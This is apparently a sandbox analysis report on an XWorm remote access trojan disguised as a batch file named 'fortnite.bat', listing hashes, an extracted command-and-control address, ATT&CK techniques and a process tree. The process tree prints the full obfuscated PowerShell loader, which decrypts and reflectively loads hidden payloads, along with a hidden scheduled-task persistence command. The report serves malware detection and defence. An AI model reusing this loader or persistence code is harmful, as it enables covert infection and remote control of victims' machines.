xworm | 6c0f00683ba47c5fcaef71626aefb1b0ac6f006888a3611222db1052f8a05ffd

Analysis

max time kernel
94s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08-11-2024 08:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

fortnite.bat
Size

571KB
MD5

73f587e1a81276175d5e6560e6d6b18c
SHA1

843d9c158c1942d8bd8348a36934cf9307aae7cc
SHA256

6c0f00683ba47c5fcaef71626aefb1b0ac6f006888a3611222db1052f8a05ffd
SHA512

ed1371fe6e1b9c4ee6a5797d25559c54c3d5709298f17fbd2b7ae472688f2cb6224d5a87ede31e565fe40731336a46db9bc0363b65859c64035117d5d3404bb6
SSDEEP

12288:RvkWtm4kNF0x6e2K2/SZAh9R5x3UEOM+2SoWDjsnlLOS6+7nkCzTdU8F+pptww9r:Uxo9I32QfMD

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

80.76.49.227:9999

Mutex

2G2GCFyKfM7BM0l4

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4476-47-0x000001EDA7CF0000-0x000001EDA7CFE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	4476	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
544	powershell.exe
2160	powershell.exe
4476	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
544	powershell.exe
544	powershell.exe
2160	powershell.exe
2160	powershell.exe
4476	powershell.exe
4476	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	544	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeIncreaseQuotaPrivilege	2160	powershell.exe
Token: SeSecurityPrivilege	2160	powershell.exe
Token: SeTakeOwnershipPrivilege	2160	powershell.exe
Token: SeLoadDriverPrivilege	2160	powershell.exe
Token: SeSystemProfilePrivilege	2160	powershell.exe
Token: SeSystemtimePrivilege	2160	powershell.exe
Token: SeProfSingleProcessPrivilege	2160	powershell.exe
Token: SeIncBasePriorityPrivilege	2160	powershell.exe
Token: SeCreatePagefilePrivilege	2160	powershell.exe
Token: SeBackupPrivilege	2160	powershell.exe
Token: SeRestorePrivilege	2160	powershell.exe
Token: SeShutdownPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeSystemEnvironmentPrivilege	2160	powershell.exe
Token: SeRemoteShutdownPrivilege	2160	powershell.exe
Token: SeUndockPrivilege	2160	powershell.exe
Token: SeManageVolumePrivilege	2160	powershell.exe
Token: 33	2160	powershell.exe
Token: 34	2160	powershell.exe
Token: 35	2160	powershell.exe
Token: 36	2160	powershell.exe
Token: SeIncreaseQuotaPrivilege	2160	powershell.exe
Token: SeSecurityPrivilege	2160	powershell.exe
Token: SeTakeOwnershipPrivilege	2160	powershell.exe
Token: SeLoadDriverPrivilege	2160	powershell.exe
Token: SeSystemProfilePrivilege	2160	powershell.exe
Token: SeSystemtimePrivilege	2160	powershell.exe
Token: SeProfSingleProcessPrivilege	2160	powershell.exe
Token: SeIncBasePriorityPrivilege	2160	powershell.exe
Token: SeCreatePagefilePrivilege	2160	powershell.exe
Token: SeBackupPrivilege	2160	powershell.exe
Token: SeRestorePrivilege	2160	powershell.exe
Token: SeShutdownPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeSystemEnvironmentPrivilege	2160	powershell.exe
Token: SeRemoteShutdownPrivilege	2160	powershell.exe
Token: SeUndockPrivilege	2160	powershell.exe
Token: SeManageVolumePrivilege	2160	powershell.exe
Token: 33	2160	powershell.exe
Token: 34	2160	powershell.exe
Token: 35	2160	powershell.exe
Token: 36	2160	powershell.exe
Token: SeIncreaseQuotaPrivilege	2160	powershell.exe
Token: SeSecurityPrivilege	2160	powershell.exe
Token: SeTakeOwnershipPrivilege	2160	powershell.exe
Token: SeLoadDriverPrivilege	2160	powershell.exe
Token: SeSystemProfilePrivilege	2160	powershell.exe
Token: SeSystemtimePrivilege	2160	powershell.exe
Token: SeProfSingleProcessPrivilege	2160	powershell.exe
Token: SeIncBasePriorityPrivilege	2160	powershell.exe
Token: SeCreatePagefilePrivilege	2160	powershell.exe
Token: SeBackupPrivilege	2160	powershell.exe
Token: SeRestorePrivilege	2160	powershell.exe
Token: SeShutdownPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeSystemEnvironmentPrivilege	2160	powershell.exe
Token: SeRemoteShutdownPrivilege	2160	powershell.exe
Token: SeUndockPrivilege	2160	powershell.exe
Token: SeManageVolumePrivilege	2160	powershell.exe
Token: 33	2160	powershell.exe
Token: 34	2160	powershell.exe
Token: 35	2160	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1076 wrote to memory of 3736	1076	cmd.exe	84
PID 1076 wrote to memory of 3736	1076	cmd.exe	84
PID 3736 wrote to memory of 2216	3736	net.exe	85
PID 3736 wrote to memory of 2216	3736	net.exe	85
PID 1076 wrote to memory of 544	1076	cmd.exe	89
PID 1076 wrote to memory of 544	1076	cmd.exe	89
PID 544 wrote to memory of 2160	544	powershell.exe	91
PID 544 wrote to memory of 2160	544	powershell.exe	91
PID 544 wrote to memory of 3548	544	powershell.exe	93
PID 544 wrote to memory of 3548	544	powershell.exe	93
PID 3548 wrote to memory of 2964	3548	WScript.exe	94
PID 3548 wrote to memory of 2964	3548	WScript.exe	94
PID 2964 wrote to memory of 4244	2964	cmd.exe	96
PID 2964 wrote to memory of 4244	2964	cmd.exe	96
PID 4244 wrote to memory of 2432	4244	net.exe	97
PID 4244 wrote to memory of 2432	4244	net.exe	97
PID 2964 wrote to memory of 4476	2964	cmd.exe	98
PID 2964 wrote to memory of 4476	2964	cmd.exe	98

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fortnite.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1076
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3736
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iJHn1mpGvhgI+DotLrS5NbtrLj72BaXKNRV/TmxQRBI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kXScYF4z//tI9MSHPpTdUg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KRBnU=New-Object System.IO.MemoryStream(,$param_var); $ZOvqK=New-Object System.IO.MemoryStream; $MyezJ=New-Object System.IO.Compression.GZipStream($KRBnU, [IO.Compression.CompressionMode]::Decompress); $MyezJ.CopyTo($ZOvqK); $MyezJ.Dispose(); $KRBnU.Dispose(); $ZOvqK.Dispose(); $ZOvqK.ToArray();}function execute_function($param_var,$param2_var){ $IMvGp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MJtdD=$IMvGp.EntryPoint; $MJtdD.Invoke($null, $param2_var);}$IkjIR = 'C:\Users\Admin\AppData\Local\Temp\fortnite.bat';$host.UI.RawUI.WindowTitle = $IkjIR;$PmYzy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IkjIR).Split([Environment]::NewLine);foreach ($LHlfd in $PmYzy) { if ($LHlfd.StartsWith(':: ')) { $DAvow=$LHlfd.Substring(3); break; }}$payloads_var=[string[]]$DAvow.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_69_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_69.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2160
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_69.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3548
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_69.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2964
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4244
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:2432
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iJHn1mpGvhgI+DotLrS5NbtrLj72BaXKNRV/TmxQRBI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kXScYF4z//tI9MSHPpTdUg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KRBnU=New-Object System.IO.MemoryStream(,$param_var); $ZOvqK=New-Object System.IO.MemoryStream; $MyezJ=New-Object System.IO.Compression.GZipStream($KRBnU, [IO.Compression.CompressionMode]::Decompress); $MyezJ.CopyTo($ZOvqK); $MyezJ.Dispose(); $KRBnU.Dispose(); $ZOvqK.Dispose(); $ZOvqK.ToArray();}function execute_function($param_var,$param2_var){ $IMvGp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MJtdD=$IMvGp.EntryPoint; $MJtdD.Invoke($null, $param2_var);}$IkjIR = 'C:\Users\Admin\AppData\Roaming\startup_str_69.bat';$host.UI.RawUI.WindowTitle = $IkjIR;$PmYzy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IkjIR).Split([Environment]::NewLine);foreach ($LHlfd in $PmYzy) { if ($LHlfd.StartsWith(':: ')) { $DAvow=$LHlfd.Substring(3); break; }}$payloads_var=[string[]]$DAvow.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1cc5e033811a5d520bb4a6904b5c433b

SHA1
c159a342ed372790600b3a6ac97e274638a0ce9a

SHA256
9e20052dd29dfcd8220dcf271acd3e27f9d6b785d72531043741ef349b48c7a8

SHA512
dd8b57e50382a7a84aea3986c3ae8a38ade0fb84a5c9696339487022321be12f08aff9d47455a28137e31a8632cda2490dcf0332c6b3c72e7cfdd10e63e4f429

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_15g5vow4.sg0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_69.bat

Filesize
571KB

MD5
73f587e1a81276175d5e6560e6d6b18c

SHA1
843d9c158c1942d8bd8348a36934cf9307aae7cc

SHA256
6c0f00683ba47c5fcaef71626aefb1b0ac6f006888a3611222db1052f8a05ffd

SHA512
ed1371fe6e1b9c4ee6a5797d25559c54c3d5709298f17fbd2b7ae472688f2cb6224d5a87ede31e565fe40731336a46db9bc0363b65859c64035117d5d3404bb6

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_69.vbs

Filesize
114B

MD5
1e2ee93b7dd628848d34570ecc9553fa

SHA1
ea39fd22cd21a1d19539e774020a2da8625a816d

SHA256
8478a33962e9c9959be4dd02d0eadb3e1a4b9d5c3385f663c623c9fb81cb3de2

SHA512
e90ed34fc3c4dd32e9003eb4f1b6e9c4061d39500369ec4904cbe52251ce140fca2b9fe91388f191b0c8c27f05e9d96406f0c454f8ab04cf59164ac361cd5adc

Download Submit
memory/544-11-0x000002E770F20000-0x000002E770F42000-memory.dmp

Filesize
136KB

Download
memory/544-13-0x000002E771180000-0x000002E7711B2000-memory.dmp

Filesize
200KB

Download
memory/544-12-0x000002E771150000-0x000002E771158000-memory.dmp

Filesize
32KB

Download
memory/544-0-0x00007FFE0C080000-0x00007FFE0C14D000-memory.dmp

Filesize
820KB

Download
memory/544-1-0x00007FFE0C080000-0x00007FFE0C14D000-memory.dmp

Filesize
820KB

Download
memory/544-48-0x00007FFE0C080000-0x00007FFE0C14D000-memory.dmp

Filesize
820KB

Download
memory/2160-16-0x00007FFE0C080000-0x00007FFE0C14D000-memory.dmp

Filesize
820KB

Download
memory/2160-15-0x00007FFE0C080000-0x00007FFE0C14D000-memory.dmp

Filesize
820KB

Download
memory/2160-28-0x00007FFE0C080000-0x00007FFE0C14D000-memory.dmp

Filesize
820KB

Download
memory/4476-47-0x000001EDA7CF0000-0x000001EDA7CFE000-memory.dmp

Filesize
56KB

Download